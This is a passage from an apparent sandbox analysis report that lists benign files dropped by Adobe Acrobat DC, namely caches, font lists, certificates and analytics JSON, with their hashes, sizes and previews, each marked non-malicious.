Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235664774331775
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP71jaUUt:CwNw1GHqPySfkcigoO3h28ytPxjaUUt
MD5:	62E59A2044656E4AD396D30484425B95
SHA1:	23C5EB9ED1A1D70A4860ED162EAE5B1DE00F7320
SHA-256:	1C8C25495AE5B33FBCF171A60D81993FEE06C560A63243CC7C810909F3AE5DA3
SHA-512:	5E9B0430C0F0E718986A703CAA95BDA60FCDC638668EE12740084B845145D3A4E497557E3A03F0B5D053C18B44B9E55CD80078F2ED8BCFDB7E8530900ECA7203
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192003925700885
Encrypted:	false
SSDEEP:	6:iO4qGJvSVq2PcNwi2nKuAl9OmbzNMxIFUtSqGqDlgZmwsqGGvSIkwOcNwi2nKuAo:7aSVvLZHAa8jFUtNxg/FKI54ZHAa84J
MD5:	CCDD586097E60097D48B36425F3263BB
SHA1:	1340B3758B6A384F4958CDCFAF786931CDF33FD9
SHA-256:	808BC0503B52A313E9E11C9B38BF14F2CFC03356AE8216C2CAB827AA8796952C
SHA-512:	CAC45FA033DA9B9599FD9C72F9CA880301CAB16905BF0503920C298FBFD8E67698BD29A3B9054B98459B5F6DE9EF73378095AE87B52CA3001CDBED878BF8EEB4
Malicious:	false
Preview:	2025/01/10-21:02:44.479 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:02:44.480 1f74 Recovering log #3.2025/01/10-21:02:44.481 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192003925700885
Encrypted:	false
SSDEEP:	6:iO4qGJvSVq2PcNwi2nKuAl9OmbzNMxIFUtSqGqDlgZmwsqGGvSIkwOcNwi2nKuAo:7aSVvLZHAa8jFUtNxg/FKI54ZHAa84J
MD5:	CCDD586097E60097D48B36425F3263BB
SHA1:	1340B3758B6A384F4958CDCFAF786931CDF33FD9
SHA-256:	808BC0503B52A313E9E11C9B38BF14F2CFC03356AE8216C2CAB827AA8796952C
SHA-512:	CAC45FA033DA9B9599FD9C72F9CA880301CAB16905BF0503920C298FBFD8E67698BD29A3B9054B98459B5F6DE9EF73378095AE87B52CA3001CDBED878BF8EEB4
Malicious:	false
Preview:	2025/01/10-21:02:44.479 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:02:44.480 1f74 Recovering log #3.2025/01/10-21:02:44.481 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438634219906153
Encrypted:	false
SSDEEP:	384:CeEci5G0iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:74urVgazUpUTTGt
MD5:	D8EC5862ACFA499BFF98094350B3881B
SHA1:	EC1F455CE065702B299F1EEB081F9BA3CEC13852
SHA-256:	B606CB87C7D01CBB6F0986AE9A8378BC4B77C7BAEFD732DE335CBB688F6CA87D
SHA-512:	1FB0D63CC334F3A2727E976FA838141DBE978F3467B2334D9BC466020E8DBA7E131326DB5553CE8A10B7E5D9CA654B8C12EDE0ED4FBEF603A1297DAB3D4AA8DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.217665962176654
Encrypted:	false
SSDEEP:	24:7+ttj6wKSqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzo:7MdWSq/mFTIF3XmHjBoGGR+jMz+Lhd
MD5:	AFB0A99D4A46D79AC5CEDB31A0B99783
SHA1:	8C7C07D1D3DFA9EFB3CF9755F502717FAB60394D
SHA-256:	F4F47E3716EF7CF12BDFBCE8E2518043B4BC0657E3FFF4FB324F9E0164AF087E
SHA-512:	EDD3CBD1EAE548B0A6DE37FA615FE797F2C250325683A56D779F67E5D9E2D1C62C9E57D645AFD8785F3906A507982F59978B54823DAD125FA1182EDC64735AE5
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklgFGJVltfllXlE/HT8k8Qz/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK5FGJPeT8Oz7NMa8RdWBwRd
MD5:	F11F30F43709B87CB0981A78D7B3C68A
SHA1:	9A1DDB44280A3A98FCBA0390A7D77039468B66E6
SHA-256:	AD26A975DE89E3D1E23B7FC9CADFB51901F5A9FB3B36E67BCEBE1CC38FBA4D68
SHA-512:	8EFDADACFA640FD5F320A3BBE10B67EDCA81D897F5F31AE208F93FDD6F5A61D03FEDFC2A61C30C95FC8FA368AC6193FC3B28163B4BC439635DCCD90BF157D7FD
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKO/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:WiDnLNkPlE99SNxAhUe/3
MD5:	428FAF4E6712DE175D9419890C8A91F4
SHA1:	0B7B903696D51DBA20105483CBC36B685747D43B
SHA-256:	0EDE96739ACE03B4870C8E80A55837B1FF28DB15E9BB47D3786E5C4F700DC2BA
SHA-512:	280F5588D8EA9810D91BA6DE99D50D38D0AF44A118A7644656D4DD105CC30120FAF5144003EDA500BFC0BE3AB471F39ABD7261A27040D52054AFFDD0F2374A89
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7676

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362327612979385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJM3g98kUwPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGMbLUkee9
MD5:	EF8DC68793619118F945B9590477027F
SHA1:	33D270D982FD8BB01CFD7E025C0315C7878B3A42
SHA-256:	883F3D29BD141505BA370AD039B8AE080C9EF002EF17E5DCBEDD98ADBF937E6A
SHA-512:	32C75AA6A1D38704C15D0511A5CA5B173DBD2596343781A63352EEBB844850BCFD17C3DAE68A7F09C82FB8EFFC4C325324310FD855C3014EFD35F31F9479E304
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29291731578508
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfBoTfXpnrPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGWTfXcUkee9
MD5:	7FF458F642585A17ECD5DA8789039211
SHA1:	4842F05A9D5B66219F5EDECD4AF5077253F7D767
SHA-256:	C96D6A2CA0A23E00AA159131E744D871F29EC1048F1C0384FD06953158FA7D7C
SHA-512:	77B31DEE551052D2B933ADEB00DC1892E39B2716DDDF7D466EFFB4816B799D5A4800A14EE4C7D9A46BBA849B0ABFE9D9E5C0013B626DF20DCE1E6CC7B806394B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271832836842935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfBD2G6UpnrPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGR22cUkee9
MD5:	94EEED15046E29A9A13E5E0C4FC61B94
SHA1:	A4072A66CBD8A212798670F22D8F7B733C434F68
SHA-256:	993BE9BC0CF58F6199E94C3AD93D6055B63DE5F81B26644BF681A8E8C15F8215
SHA-512:	8BC2DF60D03884EF9AABEC44019C03A8F993B33380CC9145C1C51570F5FB91284B82A2D6F2892EB68A2380E9F6D40E1A784C3617B8DE0F8F447FB688A215F79D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.349169573210067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmlBSk2AHWWsGiIPEeOF0YIxYxoAvJfPmwrPeUkwRe9:YvXKXmlBSk2AHRsdTeOlOGH56Ukee9
MD5:	C9050B3FACE0B515122FE3686BEAB8A6
SHA1:	4DA64015B4497FD307CFC3F4B5276CD5245BEC44
SHA-256:	75314F2E75C31ACBB49A69D270FA178A5AAB3A15890058C842825239A5893EC5
SHA-512:	3A094A0EA5E806CC588A006B7ACBEA4FA69453B4A70EA5C941E49831B415417ACBDB39489153C621D1061F778EA2622950B58E61EA04721296B6F0395D6D89CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe913ded-db0c-47c9-95ae-5f01dcb56efe","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736735619666,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.677799150026757
Encrypted:	false
SSDEEP:	24:Yv6XyBSXqRmeOtpLgE9cQx8LennAvzBvkn0RCmK8czOCCS9:YvngX1emhgy6SAFv5Ah8cv/9
MD5:	0FF96F0B795D8C0816703F560F2D11D7
